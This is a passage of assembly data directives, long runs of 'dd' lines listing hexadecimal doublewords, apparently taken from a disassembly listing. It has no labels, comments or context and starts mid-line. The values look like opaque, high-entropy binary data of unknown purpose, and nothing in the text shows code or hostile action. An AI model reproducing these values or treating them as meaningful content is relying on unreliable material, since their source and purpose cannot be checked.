22E9B4FBh dd 47851023h, 97AA8894h, 2C8C56A3h, 0A3082B25h, 0F58467C8h dd 0B057475Eh, 51A3B542h, 0D21CA7E9h, 3900CBCEh, 2FED7035h dd 1AEF4652h, 39234ED4h, 19EE5AC8h, 51D58D5Ch, 4F175E2Bh dd 49974DDDh, 936F71D4h, 62BF3AC1h, 50207744h, 376EBDF9h dd 4BE69038h, 149E737Ah, 326673B4h, 3A81FD9Ch, 51DC6CA7h dd 5184822Eh, 0BC058928h, 4F1D3FDEh, 0FD8466D9h, 6BD66797h dd 4AD449DDh, 0A87B46FFh, 0FBB33501h, 4D1C24AFh, 84A36748h dd 7F93320Bh, 0DCBFEBEBh, 86D6CB61h, 0AA2653E8h, 954851D7h dd 692B58CFh, 0B50A0355h, 0A5E0A219h, 0DE2057BEh, 391DDD39h dd 0C9464060h, 0B47CD6B3h, 2DAA2AA2h, 19F753C0h, 0CCABEB4Ah dd 0DCDB5DE7h, 3F743122h, 27904808h, 0E7BB8D2Eh, 7BCA2BD2h dd 3E53F68Ch, 0DC0064FEh, 52B8F771h, 0DAD58530h, 3DB76F71h dd 18BB592Fh, 297380A6h, 0B537C4A0h, 7E50A380h, 0EC00CCB0h dd 0B463754h, 0F49AF006h, 447C9E73h, 8432B3DAh, 3F31F95h dd 7139245h, 4402B2A4h, 0D0EE8E54h, 0CF00092Ah, 0C9B92D0Fh dd 0F1A98257h, 6944C262h, 0B2D8B521h, 0B951CA99h, 5AD5BB0Ah dd 0F13331B7h, 1315D88Ah, 53B136E2h, 7A47618Bh, 6DC8372Ah dd 45A3C339h, 0CE3EBB58h, 29592BA0h, 9D7ED962h, 535FC47h dd 4B403DEAh, 6A67E780h, 6FC30527h, 8DDE444Eh, 62163548h dd 228E6403h, 97E1B072h, 8D78CAB9h, 0FA7066C6h, 96B8151Bh dd 1CDEE84Bh, 0D33CB385h, 0FDBB280Ah, 2382EB09h, 2CAFAB9Dh dd 0A1702BA1h, 228BBC8Fh, 0D5622106h, 319F005Eh, 5A650919h dd 905132A6h, 53BC4F40h, 0C82EE863h, 6A63C237h, 0F3FD9701h dd 4FDE18A6h, 0F7DDF795h, 1731E78Dh, 9875C499h, 0B1A2EBC1h dd 0FE12A2CEh, 0F613760Ch, 1B68B8DCh, 835238A0h, 775C05FAh dd 0B006FC03h, 252A2A8Bh, 0C51343Ah, 0A913DDA3h, 76FB591Dh dd 5662800Dh, 0B1BAE3A2h, 0A2FD6278h, 1597551h, 0E621004Fh dd 29547443h, 0E12545CBh, 0A347A0A6h, 23699C7h, 0C9116BD7h dd 0AA1D60DFh, 0A55D4CB2h, 9FE5BA37h, 0BB52CEB8h, 9A91AE1Ah dd 0D8FE3298h, 6D4BCC9Dh, 22055642h, 0E9B8FA90h, 3E2056DCh dd 9A0B91F7h, 0D10EC3FCh, 3F4F1840h, 0D29BA09Eh, 0DAB7FD03h dd 68EB24E3h, 0DA68CC66h, 4590D068h, 0AADFD8F9h, 8531E5Fh dd 0B9AE275Eh, 0AD96E791h, 826096D9h, 9774679Ch, 6C88A7ABh dd 0A3163E4Dh, 0DA71CFAAh, 276E6DD4h, 48526E9Bh, 0A250B4F2h dd 0A56DF12Eh, 0DF0289F2h, 9CB44041h, 560DBA06h, 52DE6E22h dd 2171A6D7h, 2198E85Ah dd 313C3155h, 3560F056h, 84FCA968h, 601DD7B8h, 114F9C3Fh dd 0A60CCF71h, 0FA1BF521h, 81ACF7B5h, 9D8F760Dh, 7EA814EBh dd 209459D2h, 35E69C69h, 5D416A9Eh, 11B20482h, 76649786h dd 50EEB32Dh, 0C3C43433h, 0F823246Bh, 0AD1747F1h, 0DBB64A9Fh dd 5DDB46C6h, 0DAFFAB5h, 2D20CD05h, 4720AE0Eh, 836527Dh dd 9A6A2C81h, 0B9561FEEh, 48F19ED1h, 0EDF216A6h, 0D4AD3A9Eh dd 8C4CDCA0h, 0EF68760Dh, 0F776BC0h, 8AE81CACh, 250C85A8h dd 0FE729E6Fh, 0E12BD387h, 7E96351Bh, 2AF11DE7h, 3C139166h dd 27B63969h, 0E2B6776h, 0DD4A596Fh, 0D26C1F82h, 727F5542h dd 0DC701C60h, 87F5C5B1h, 9CB747A4h, 1FFE5B80h, 0BC1CA4BDh dd 0E05C6B30h, 0C9B0AB87h, 0F6DAC535h, 80F9698Bh, 0DEC6C13Ah dd 61BA44D5h, 0D0AAA3D3h, 3B0938AEh, 84F5CE67h, 29DB38C7h dd 0D7350CCDh, 0F19A0A69h, 43D821B9h, 50B50BEh, 0AA18B6B7h dd 3943E60Ah, 1972F435h, 260F434h, 0EC4D3489h, 0F4B049B7h dd 192F9FF0h, 0E9123039h, 92636DA7h, 0A169637Ch, 10A83BB2h dd 0A7DC1D66h, 88084FAFh, 0CFE4BD0Dh, 6B4F5F74h, 0D999F120h dd 8EEA7EA4h, 0E610AE6Ah, 5888BADEh, 0B241DBF3h, 6C8A4FAAh dd 977ABB51h, 2096227Fh, 0DAE2BAD6h, 0EED0BAE9h, 6624351Eh dd 2D1C1ED6h, 1D922D9Fh, 0C65DC97Ch, 49E16CB3h, 30363765h dd 34C4A5A6h, 0C8DF7E8Dh, 0D34157FBh, 6C7C01FDh, 0A5C87BDAh dd 82AB1A11h, 0CCE6132Ch, 0F5704557h, 407E1108h, 9B9593E3h dd 3B4AC199h, 0EAF94B1Eh, 3681D6E5h, 6761B6B4h, 3FBB9F2Fh dd 0DFA824EDh, 2370A3C3h, 575B6E5Ch, 0FF6E629Dh, 0D9EF2AC5h dd 0E33DCEFFh, 8ECB14CCh, 0A727E939h, 0F2BF2037h, 0F12581Ah dd 3F0A967Ch, 30B29E19h, 0F1D8CFF8h, 39057D64h, 5C52BFEDh dd 1F67E6FEh, 0A1DDDD1Dh, 0F21585DBh, 93D2D130h, 84E2F845h dd 0D1E1744Eh, 85E83D02h, 9C28BA41h, 3B27CAA5h, 4F10F657h dd 32302FB0h, 831CAA9Eh, 20AC6DAAh, 0D37B3854h, 0C88FAE08h dd 0D83474A7h, 586ACFC7h, 7A39FA98h, 721C2CBCh, 0A43CBF1Dh dd 0EB855ED5h, 81758A6Eh, 1802D8F2h, 1A278F71h, 8469131Dh dd 7E843D4Ah, 0A5FA0A73h, 7081B5ACh, 0FC314147h, 90DD5D17h dd 0DD581C07h, 9849FF6Ch, 0D2EBA1B2h, 7D55A0E2h, 67374E43h dd 0A8ADEC93h, 3CFCB6FAh, 1EAB6077h, 16A2D7A4h, 0D97BB59Ch dd 0A8AE6261h, 6B975344h, 2CEA95E4h, 7C9EFEF8h, 6AA34822h dd 0F537558Fh, 0CACE8C9Fh, 664C309Ah, 286A3A96h, 0AB393406h dd 65531231h, 3207EDC7h, 0AB41B240h, 37AD1F34h, 3AD7FD80h dd 0B4D2A3C2h, 2A901ED2h, 7E2E7F6Ch, 6199DBC6h, 0B8BBFB8Dh dd 636F3C23h, 2A8464FAh, 227F26AEh, 2501857Bh, 0CE55B3F0h dd 89E9C7F6h, 0E5148FA4h, 57505272h, 0CDFB771Ch, 2DEFE376h dd 0CE0274BDh, 33A396A6h, 0EF5950E5h, 0FEB2DD00h, 8A7F5795h dd 0B1B39E64h, 0D576C754h, 7D403BE2h, 0DAE1506Ch, 52008AD3h dd 65AA3073h, 0CA2E8A47h, 549939E3h, 12E34A35h, 3CE28ADFh dd 3DA61C28h, 0E8CADCBCh, 165338BAh, 0B25E332Bh, 0DED00129h dd 63B0F384h, 0ABCFC697h, 68B0E32h, 5E8E1567h, 615B1DDAh dd 5990F0A9h, 0E33CB79Ah, 0F309760Dh, 0BCE673EDh, 6910B4Dh dd 0FC7D08BFh, 0CF635549h, 0E0AE28C6h, 6BE64F1Bh, 96600B04h dd 0BE1C9177h, 33EE9858h, 7DE05E0h, 2EEB7DFDh, 12E7F7D1h dd 6896775h, 0EFA06470h, 0F410B5E7h, 0C9E170F1h, 24870C3Dh dd 9104BBFFh, 0CB4F3ADCh, 477E33AFh, 0C055A7AFh, 3D17B8A1h dd 6F98EBCDh, 89A91BF7h, 0E16129E3h, 0AE9F33AFh, 0FB17B85Ah dd 0A39B24A4h, 81C3A9C4h, 264DE210h, 0D9CE1CF5h, 0DDF774D8h dd 33FC4D59h, 51CFE094h, 6CD49B54h, 0F8D06C3Bh, 9373F706h dd 7E73F493h, 1B8B84ADh, 0AF6A4D8Ah, 0B82F02A6h, 0A14E2AC6h dd 0D4757513h, 0A374F6F8h, 71D5EA9Bh, 1424D72h, 34DD8C43h dd 0CA534A43h, 417BE98Eh, 0B7A52F1Ah, 0E8385665h, 21C52A7Ch dd 9FF55CC8h, 2F00314Fh, 42F55552h, 0D689C807h, 783BF433h dd 3B2724D4h, 95BA57B8h, 63902D22h, 46421AE7h, 9A00C360h dd 4339D5BEh, 69F1D7F7h, 0CC3C7C7Ch, 13CA5DCEh, 0BBB67C7Ch dd 84C544B7h, 2A1FBBECh, 4991759Ch, 6709EB51h, 82D35E32h dd 6EDBC4BBh, 90EE79D5h, 0E676ED6Ch, 21763769h, 42861C4Ah dd 688869E3h, 25082D29h, 31E74B89h, 55EE3AD9h, 72AC5902h dd 507CC4ADh, 5493A8CFh, 0C8A7E5Dh, 0F79E1E5Dh, 6541FEDBh dd 72D10A7Bh, 7C296FBBh, 1C5E4AF0h, 4B3A3E95h, 61F49E63h dd 21240323h, 11D6D2FBh, 0D99AB210h, 0CD27085Ch, 17BEDFD9h dd 0DA531B97h, 6B607ED3h, 0E7172C72h, 8D7D3114h, 0C2D3B760h dd 0E3AAE7D6h, 303EB6Bh, 4FA3FF02h, 812D63C9h, 0F2A1EEB3h dd 0ADF9520Dh, 5EB85C8Ah, 0EE047E16h, 10DCFEF8h, 1316CD6Dh dd 451AFB61h, 103833B8h, 0FA8DA362h, 8B5615BFh, 600A3D88h dd 5E0D4195h, 28F58508h, 0FF75F107h, 24432FCBh, 14318616h dd 3CCEE86Ch, 648D4581h, 0BC7FF24Ch, 0D165CC75h, 68E300C1h dd 0EC80ECDAh, 0A29D13C9h, 80FCDCC1h, 1BEE7506h, 6A520E09h dd 946CE08Ah, 94EB262Bh, 1B168746h, 1E509690h, 53013D8h dd 0D63E0BC3h, 2ED0C389h, 47A9A65Ch, 99218376h, 6AB723D7h dd 0A15FF299h, 5A68050h, 71BEC1Eh, 76113E2Fh, 0AC833587h dd 0A7026E05h, 0EA4279Dh, 0DD3F1B90h, 0AACA61F4h, 18741DDEh dd 0F035FE98h, 6F2FD678h, 6C6C5876h, 0C238828Fh, 0CEEBC80Ah dd 0C687B391h, 9CA27EBFh, 160236FCh, 68A98C5Dh, 0ED7FC965h dd 21FFBBC2h, 82C92220h, 0C7610F5h, 1D375D6h, 504C1351h dd 0F45A74A0h, 0F19B87C2h, 0F072D178h, 0AAD338F7h, 2126B25Fh dd 0D5C99517h, 0F660B158h, 0FFB004AFh, 586429A0h, 0E6C7B76Eh dd 67CA7914h, 6C34F8Ah, 3836A31Ah, 0DA7ADA92h, 1D50C233h dd 889E3556h, 5AB04ED3h, 44E2030Ch, 0C8C61877h, 1E0BE527h dd 0CBCC97D4h, 826EFAB4h, 929F3BC5h, 0E5A28F2Ch, 0DD7CC03Ah dd 0E2F89600h, 0ED80C0EAh, 0CB7D7BDBh, 8F76020Dh, 46D7506Ah dd 90E4C903h, 94774D40h, 1529492Ch, 0F34F1E9Bh, 0FB7BA6BFh dd 16C5C393h, 0A6D489C4h, 0CDF7E10Ah, 0A10B9F83h, 7C9A388h dd 44B78A53h, 205A1BE7h, 0FF1AE44Bh, 0A168020h, 158431A4h dd 0DE28DFECh, 8F37A9h, 0A7A4A9F9h, 29783259h, 0DE197223h dd 38011BD5h, 4283979Ah, 2F850041h, 139C5686h, 79463346h dd 0B9932407h, 6F3D1366h, 4E094F73h, 0D7F4AB38h, 81F2AB46h dd 0D7726C85h, 0E53E83BAh, 0A9109D4h, 0B15D89F3h, 44D609DBh dd 880FA934h, 0D776BA68h, 8E521B39h, 84D1F447h, 0C51CC950h dd 0ED53706Fh, 3D4EC5F7h, 87098407h, 0D1B266D8h, 56015290h dd 54C555B7h, 997DE7F2h, 814FF205h, 0E10EF2B6h, 0F88A2771h dd 74D85674h, 1CE913F5h, 0D926E444h, 0CC1C113Ah, 0B4A7EB96h dd 2BCA3EF6h, 0B74DC0D9h, 417BB6B3h, 0AD64AEA5h, 0BC6F70F8h dd 5790CC8Ch, 0A5CC7F8Dh, 0B398E42h, 15AAAC6Dh, 0E1582E70h dd 0BD6C5183h, 416A2847h, 0F319267Bh, 92C2F6F6h, 9191915Bh dd 75C5625Dh, 0E45302CFh, 9F61579Dh, 0E12CA8A4h, 4F1AE8F6h dd 3242FE61h, 1E9C39C4h, 0D468714Eh, 0B8145C71h, 4D28034h dd 0B2301831h, 646D1CA5h, 81B8D3DAh, 109A996h, 0E353867Dh dd 0F0229E13h, 205DF590h, 1158B408h, 0DC34A84Bh, 9EF99FA1h dd 0A964D291h, 0B00C8132h dd 9E5FEh, 559E623h, 1FB075B4h, 8A2D06FCh, 623FE2D5h, 8868D706h dd 104244E5h, 0B083248Dh, 0E4B13FA8h, 106FED35h, 83B68FCEh dd 5C73EB11h, 0ABBB07B9h, 53ED75ADh, 5FEF5D23h, 0B054F025h dd 0DAC7130h, 0F7BDAA9Dh, 0C26DF7ADh, 94394B98h, 78395728h dd 642D1C09h, 5FB9CBA7h, 6B1AC2E0h, 0BD3C4AC4h, 67AABA4Ch dd 4348597Dh, 474E3D62h, 8C34D047h, 0BB17FE9Bh, 0ABA4B39h dd 3A38424Fh, 0C1ABB117h, 0D7D8106Ah, 0D0CFF26Fh, 5DF044FCh dd 1627CD26h, 0F906B229h, 3D199EAFh, 55C66A92h, 0C3E5AD42h dd 903D07E5h, 0D7D2901Bh, 19C07BF2h, 5DE2393Ch, 0DC3D7F9Ch dd 2AFE437Eh, 0D0AE6F37h, 0E4D62283h, 655AA304h, 21135088h dd 0B203EAAAh, 0DD49E3F9h, 0B2BABFDCh, 1C664DB2h, 0A4F23016h dd 2C5AE8CEh, 0EF2EC2E7h, 6C9FA64Ch, 93DEAE05h, 87B0BCB9h dd 0D59B5812h, 328DEDD6h, 2DF80193h, 2A35FD7Bh, 86F3412Ch dd 6A41152h, 2E8D0DB4h, 0D586AB53h, 9335C6D3h, 99462B49h dd 0C81B7026h, 376E7978h, 0D8EEB0h, 25381359h, 64DB0BF1h dd 1E6789C7h, 4F5AD7EBh, 0A3083950h, 0C547F1B1h, 0FE656B24h dd 9CD2773Ah, 1B683AA1h, 0A49FD68Dh, 0E0486592h, 0C800A4F8h dd 0C6C79D0Eh, 7005E3B0h, 0FED7D508h, 5059E1FDh, 3589E959h dd 13FDB630h, 0F2C2883Fh, 0B53E3B55h, 0A8D59692h, 0E4A8EEBAh dd 8C76A538h, 210506D8h, 0F195D5h, 79346243h, 8948622Bh dd 0E5BA7F05h, 0B710C088h, 0C67325A2h, 43EBA42Bh, 73B83D5Ah dd 0A54C27F5h, 29C65263h, 0F2576197h, 8D30D145h, 0EDF9D021h dd 0B52A8CC7h, 0BA777B9Bh, 15D8C4FCh, 0F8BF0EDDh, 697758D1h dd 0B9BF57D5h, 6EC59697h, 0E087341Ah, 0A1A13B7Fh, 41AB2935h dd 58C70470h, 0CB7816E7h, 0B6985623h, 0BA7D5F4Ch, 0CB807CF3h dd 4C066CDDh, 949C31E7h, 0C21402CDh, 2C039D99h, 54EFC8Eh dd 593C294Bh, 0AC259E13h, 37DFAC66h, 27FA1D9Dh, 482EE89Ah dd 81EF58EFh, 0BC9A7278h, 6DF34DD6h, 0EC14F7F0h, 63A0A240h dd 8D6E65B7h, 0F7C60F80h, 0FC5F3EC8h, 0E3BF0448h, 1AA445C7h dd 4B064E68h, 9CC41F5Ch, 664938FEh, 0CEB793B9h, 80FE702Ch dd 0DC01979Ch, 9E43019Ah, 43D36A0Bh, 3DC264ACh, 0F7E27620h dd 0AF7E2B9Eh, 0BDCD4352h, 0A0127B4Ch, 0A9E93F2Ah, 0F95EA80Dh dd 0F4273CDAh, 561E76DAh, 0E19BAAF2h, 0C5D63205h, 0FD010930h dd 8294351Fh, 9AB24103h, 0D6794AB6h, 804956A9h, 87C7DC27h dd 0ADB0BA1Ah, 0ADA97641h, 53F5965h, 8FB3AE62h, 0E507455h dd 17940310h, 1EB8B328h, 28BF595Bh, 79BF203Fh, 6980E0BCh dd 941ECCF9h, 0DCD7B561h, 0C7BC5210h, 0A4C8911Ch, 0ACC90876h dd 3DB5B9D2h, 0B3B6079h, 0E7B39AFAh, 0EF0BEA56h, 0F2E0367Dh dd 142FE4EDh, 5066C606h, 158790E1h, 70C7792Dh, 7F3BA5A4h dd 0ED15D1Fh, 2B15FA83h, 654A03BFh, 9F5A8CF2h, 261021CCh dd 213B071Bh, 0C4FC2DDBh, 0A177C0B6h, 0FD730DC2h, 4FC41C7Fh dd 966E4BDh, 0D769A65Fh, 0A053E444h, 555C4F88h, 69EEBC7Ah dd 8F247CAAh, 69AB4C1Ch, 6E967ABDh, 8DFF922Ah, 92958E19h dd 5CBD44F2h, 7A7ADD26h, 625743E3h, 0DC10DA64h, 0E4AD10DDh dd 4380B610h, 0A5266632h, 74A56BCEh, 0D5AEB281h, 81C1189Ah dd 0CB1820F7h, 0EA38C88h, 0A5636F2Ah, 0AACA501Dh, 2A0E5426h dd 288F65A6h, 0BF57735Fh, 0C72264FDh, 0A3B02E96h, 4A6EECF3h dd 0A6D53A11h, 0EFC5F811h, 9F9CB81Ah, 0F4998CAh, 0CE352839h dd 951DC71Ch, 0D97A4888h, 96E5358h, 4C63DF09h, 0B162CAC2h dd 21F06952h, 4F45423h, 544E1B24h, 64EC0A17h, 91D76F32h dd 0BEFBF56Ch, 78AB087Eh, 7606FEFFh, 1A0F59BBh, 21C02DD0h dd 0D97DDE69h, 49E16DFEh, 0C955EBAh, 259EC5E6h, 26572D91h dd 2F58E57Ah, 5B9A15ADh, 6DBC5306h, 4B0519Eh, 0B14099B2h dd 1E33CE84h, 8B62A00Dh, 0EC182A79h, 2A1F5C50h, 0C5355282h dd 0F657BC51h, 26A04285h, 75A7937Bh, 0D0D42C82h, 0D49CEABEh dd 74F25C3Ch, 56362F2h, 51E765CBh, 0E71B1D90h, 0D618AB9Ch dd 92A2D1FCh, 41B925C9h, 0AB1D891Bh, 3CA6DDD1h, 7A628960h dd 0B588531Ah, 0DC86C137h, 5E4EF83Ah, 5BBE85Bh, 49C60AEBh dd 0FC9ED854h, 0C0DB2F45h, 45A8B1B1h, 2AE95DFCh, 0CA18FD0Bh dd 94619AF1h, 0DC369277h, 993A7CE2h, 7761E15Ah, 0BE38D400h dd 0DBA84AE7h, 89F4260Ah, 3BE35B45h, 0D2BE2363h, 53B53C49h dd 0CC1BA8A4h, 38A7B388h, 3C2FF369h, 0FE20C089h, 256CF814h dd 0D02D21DDh, 46E5321Fh, 0BB6E1521h, 0EF4AC3B4h, 4A7F01A5h dd 0BD460C3Fh, 945A8EACh, 3A70FE25h, 0BE1090F2h, 977ACBCBh dd 5B430F15h, 0CCA49FF7h, 84BAB621h, 0AF11A131h, 0D4D98D4Bh dd 0F77A9F0Ch, 0ED9FD16h, 473DD378h, 0F491FFC7h, 15FC6593h dd 3F603E6Ah, 0FF11BBC4h, 0DDDE6C91h, 0FC4AF5CAh, 3A5D8BFDh dd 9A30447Eh, 0D1DEE599h, 2CBCE8A1h, 0AAD049CAh, 0CBAF1102h dd 4C9A7E58h, 4E9EF18Dh, 0F6853DFEh, 0C9C7CFEEh, 0FC151666h dd 53826FFh, 52781F94h, 1F943A6Dh, 308C627h, 0FD59B3FBh dd 0DD23DF2Bh, 0F74CFF59h, 18D6F0C3h, 3AD40C5Ah, 923CBEA8h dd 0D8EEC5Eh, 104D3350h, 0DA03239h, 0BA571667h, 90295149h dd 9744CA6Bh, 0F7E3025Bh, 0F5AA3437h, 0DC225D98h, 41BC14C5h dd 3A3A94D4h, 34A3C71Ch, 0A51BB875h, 1919B700h, 9DDB0D37h dd 0FCD888E7h, 548216A5h, 9A2C02BCh, 21DD8043h, 0DA544EC2h dd 498BF7F6h, 0AD8CF9FFh, 0E06E7281h, 0D69A4E7Eh, 1FEF9E50h dd 8F3B37B7h, 8F8062EAh, 83EBAC66h, 3780AC4Eh, 7CBB9269h dd 6B258046h, 0C7158181h, 0D0FA84A2h, 0E143001h, 6448889Fh dd 11AAB0B2h, 0B3624EDDh, 0ECD1F540h, 56DF6E3Fh, 0F0B5A947h dd 0B8FFE574h, 173C430h, 5A5380E2h, 33822507h, 42E3A510h dd 1A7DED25h, 5F6B9969h, 6486FBF3h, 0E504CAAEh, 3E2A3FADh dd 0DB111B5h, 6A1F44ACh, 7DE47C30h, 51A1EC58h, 33241A87h dd 0C6E5EDEDh, 548F700Eh, 84F6F5E5h, 56EBC853h, 7E94B696h dd 0BD62DF67h, 0FBB0658Ah, 0B13427BEh, 0AFBD1C11h, 86EFE414h dd 18825F18h, 39BD5882h, 6D228FA7h, 0E86F90Fh, 87188B04h dd 65B88069h, 0DDDF8B2Ch, 20FEB524h, 0B7363B32h, 31EBB19Bh dd 0AA60BF0Fh, 51025293h, 0DE5A9453h, 0A04D0B44h, 8806E3EDh dd 863F8652h, 0BD4D4ADh, 588DEAB9h, 0C3F7748Bh, 0F8DAA5C7h dd 23BF9020h, 7ABD93EEh, 0A51962FBh, 0D4167C0Dh, 0B0A74D04h dd 89BF09EAh, 768A128Eh, 0C82C1326h, 4122C616h, 4F61833h dd 0DA0DF986h, 5CE4FBDBh, 5E659E2Bh, 2D7EB19Ah, 1288794Ch dd 7C6284C8h, 0B243B1F5h, 2BDC43BFh, 7B91057Ah, 0D72A34F6h dd 17149E4h, 7AE46109h, 0FD7E054Fh, 0C1B1397Eh, 14BC3B48h dd 3A97E8D4h, 87071BF3h, 0BC36BA13h, 0C486856Bh, 74E6DED5h dd 85E237D9h, 0A5D02BA2h, 59CEDB9Ch, 84D81AE4h, 6AAE8B08h dd 0E0085AC8h, 96CB8AA5h, 0E9060948h, 0B6CEC3Fh, 0BA0E3C9Bh dd 74FECA75h, 0E26175DCh, 6F97F701h, 17A9DBB6h, 0F889F083h dd 710F4209h, 0BE7201F1h, 3C6CF93Ah, 0D8CCAE62h, 8EF11939h dd 0A5913371h, 512A2D9Dh, 57F6545Ah, 586BC976h, 946DABEDh dd 60F55DFCh, 0F9501D6Ch, 0E9B6FEE5h, 0C8895696h, 87DB114Bh dd 318AC34Fh, 0AB42D4A8h, 9EB3D5BAh, 10300CE7h, 8FFB51C6h dd 0B448D66Dh, 0F028C640h, 55BD308Ah, 6A93E895h, 8B8D1244h dd 0ED567D2Ah dd 0ED70B08Eh, 5B74FED3h, 70CD9412h, 17C6BC5Bh, 43E05909h dd 135EC096h, 2863FCDCh, 3B5D9452h, 789EE583h, 71445D6Dh dd 598FD4BCh, 0A5AEC3D2h, 498DEE4h, 0AD6B010h, 4086FBFCh dd 426A5C00h, 38C8F446h, 0D546D1CEh, 0EE3F6068h, 3BB2C9A9h dd 0AC8E59Eh, 3F67565Eh, 0DB0725B1h, 6EF2EB24h, 0C6746C46h dd 91A906B3h, 0D7DC292Bh, 21E71D65h, 0BC00A2A7h, 6455E894h dd 7DFE0AE2h, 272A4B8Dh, 0F5FC5984h, 71E2851Dh, 0B1925525h dd 0CF113299h, 8248BBCDh, 568028BBh, 563D1EBEh, 79FD5C47h dd 455EF318h, 21226E42h, 1AC88CFDh, 3446FB10h, 0F8608A47h dd 1B7D5613h, 6D6EA3B0h, 56A764EEh, 7E0A4566h, 1D0F34BAh dd 0E201EE75h, 2B12393h, 4D88BE8Ah, 0C844D995h, 0C588BFh dd 7F9DED3Ch, 0CBDB9FE0h, 0FCA06EBDh, 9570041Fh, 3896031h dd 62AFFE06h, 688E4E9Ah, 91A910CFh, 0BB63826Ch, 0B48879F4h dd 1A5h, 4563BBBEh, 0B59058B5h, 917AD86Eh, 0CD727EA8h dd 395D2318h, 0AA6C473Ch, 8641D761h, 0AB940E3Fh, 0C2C1A9D2h dd 4F76E8E5h, 8C3F77FAh, 947308E3h, 0DB92DD57h, 0C4E674B4h dd 7D8A92D2h, 0D92CD067h, 6021F4B7h, 2C18A30h, 0D5B6B13Fh dd 0F91983EAh, 0F7ADB9D4h, 4B0219DEh, 54313E7Bh, 355CC65Dh dd 0B106286Ah, 0B9D7CC7Eh, 6A45AFF5h, 7F2F3E13h, 528D6A55h dd 0CA5527ACh, 69E1BD46h, 56F92112h, 1A82861Ah, 0AB01FE3Ch dd 0AA2FB6C9h, 107D6590h, 93601F81h, 0ABD4DB96h, 5E93F9C5h dd 0D0E1C187h, 847BE5F5h, 9143ABCAh, 27AAF7ADh, 1686F46h dd 16FB275h, 46D5AC20h, 0B4B2E6ADh, 7CBCC122h, 73C9B3ABh dd 121CF5CAh, 30FB6616h, 0C5ACAD47h, 211A6FE5h, 0C755E280h dd 1E487D6Dh, 532414A8h, 28B741B0h, 0D74BED58h, 3DB7BF64h dd 26190E83h, 0C2EEA5B7h, 0C33D833Ch, 80820069h, 7B38B241h dd 653AC393h, 1702E85Eh, 726733C9h, 0C2511808h, 7FFCAE04h dd 4FFA92B0h, 2FA7492Fh, 1E852D51h, 0E2C10F3Eh, 8890F65h dd 8986975h, 4A2C110Eh, 8DCF4940h, 0EF40B86Fh, 0F076F85Ch dd 0E058D067h, 4A80AE9Fh, 0BACCF77Ah, 7FF98541h, 0DACA8E34h dd 63DFCDF4h, 47288C65h, 3C85807Ch, 0A50BC3BFh, 880FD6D2h dd 7F7B0203h, 0E421AF36h, 8DB5E7DDh, 0A82843FBh, 0CEECBFB2h dd 0AB96B1EBh, 0F4830079h, 1E6869EDh, 0EEAEBEF4h, 0DC611E72h dd 639695EAh, 0BC99B5D7h, 0E23AB9BAh, 45C82CEFh, 6F5D2395h dd 0C435A43Eh, 0C1F5A0BEh, 10CDCBD1h, 756D4EC2h, 0D316E9F7h dd 3CC420C2h, 0F900BD4Eh, 36A4BD94h, 5684809h, 7B44E3ADh dd 6AD28580h, 180BBD13h, 0AC9714C6h, 0B45BD5BCh, 0C5448CA6h dd 0A71DFD46h, 7483021Bh, 0F5DBC153h, 33D62D15h, 61B06325h dd 734EE29Bh, 0A51F9BDCh, 7081A241h, 21EFFE85h, 56E26F39h dd 0DA1DB29Dh, 2BBA821Eh, 66CC6207h, 3F68ADC9h, 0F5B9E179h dd 0B3266E03h, 769AA710h, 3F2B21CBh, 64FD06FDh, 0CF317FF1h dd 0C09595D2h, 9F16BBB5h, 0F07BE147h, 0F6FE2969h, 5AF79432h dd 0A4A01AE0h, 9135F814h, 65AF788Dh, 0CC1B8157h, 256C28BDh dd 8670F87Eh, 471DE612h, 51BFDADCh, 650FCD9Ch, 0E4947893h dd 9AD4BD9Ah, 141B0373h, 0C7273B40h, 0FB74829Ah, 0B219BD6Ah dd 2D51C798h, 9B0C29F3h, 0CB623BA6h, 0C34618A4h, 95422C24h dd 32025FD6h, 0C8CE2891h, 8517E043h, 4019A5E1h, 4C3A908Ch dd 0F288F60h, 0E217E64Dh, 749C0028h, 0CEFB3879h, 0A441D007h dd 0E443581Ch, 744739B6h, 0C4DFF7D2h, 2071350h, 1CE01323h dd 0A423A0DBh, 0FA009629h, 0A2297D06h, 2C64CCCFh, 0F6C9AB81h dd 2ACFDFC1h, 29882300h, 51C3CB6h, 33057BA7h, 624217A3h dd 4228C22Ah, 8C7918FBh, 1CFDC2A8h, 0A9E53856h, 0EECA0A4Bh dd 6ED1558Ch, 0AED9AB5Ch, 10140F9Ah, 11E2A4C0h, 98DE5620h dd 5D8B4F99h, 9CB9906Bh, 5287FC6Ch, 0F1C224CAh, 0E719F151h dd 0DF35B1B9h, 0F714FF6h, 0CE1AD82h, 386B49ABh, 0F188F682h dd 80DB166h, 612D341Dh, 0F909A834h, 0F5CCF9C2h, 1913DDDEh dd 25EBA1Dh, 0D1C8BD1Fh, 3F8136D9h, 0AC2087FBh, 96CA3465h dd 19AD309Ch, 3E1547CBh, 6710F681h, 62F87F1Ch, 8D8C3E09h dd 0E1295605h, 3E625385h, 0F7387A0Bh, 6C0E46BDh, 8753DE71h dd 980EF0DCh, 0B03240A0h, 4231814Fh, 7CDDBBA8h, 78052E5Ch dd 0B2FF0191h, 353FA6D4h, 0E00CECBEh, 669C3644h, 58FC9842h dd 485EFF04h, 0EF91CFDEh, 2AA42A39h, 6413BC9Fh, 5E96E8F6h dd 1BA9AE78h, 9A0B27A2h, 34EB073Ah, 6C7B3A38h, 0AB551726h dd 7EF4F967h, 0E6BA7601h, 0A6B8FCFBh, 0C8BDD7CCh, 333C212Ch dd 63507C4Bh, 926C4E13h, 8C12CF6Ah, 78D82EB0h, 7F6AF07Ah dd 7A683956h, 2BAD6785h, 38A710FAh, 46D5D82Eh, 91839B99h dd 0B1E7AA3Eh, 0AF8D5F63h, 374AB41Ah, 0DE6B9731h, 51785097h dd 89809990h, 0ED7DB3D2h, 0BA54356Ah, 54A3AC9Ah, 0CA327980h dd 4445D652h, 0FE14EF3Fh, 0B7BEC20Dh, 0B38D40E0h, 15C43B4Ah dd 0AC1D1D50h, 40D3D005h, 25E7EC0Bh, 0AA3EB021h, 335C687h dd 8830B036h, 884527B9h, 768E0A4Fh, 0F7BA10A7h, 41E482E6h dd 4D965557h, 0B31AA289h, 0C469F6Dh, 0C9807D83h, 5968C1CDh dd 37206596h, 8932DB3Eh, 4AEAC8B1h, 46532B2Ch, 962DAC4Dh dd 0A89C44CBh, 0A958447h, 0E539770Ah, 0C7BE2AB8h, 0ABABFA57h dd 0D0C63109h, 456BB0BAh, 0C9C6CD9Eh, 0F3291E73h, 0B6E642FDh dd 4F186A00h, 6A63D668h, 0C36A99B4h, 68B1B05Dh, 54452057h dd 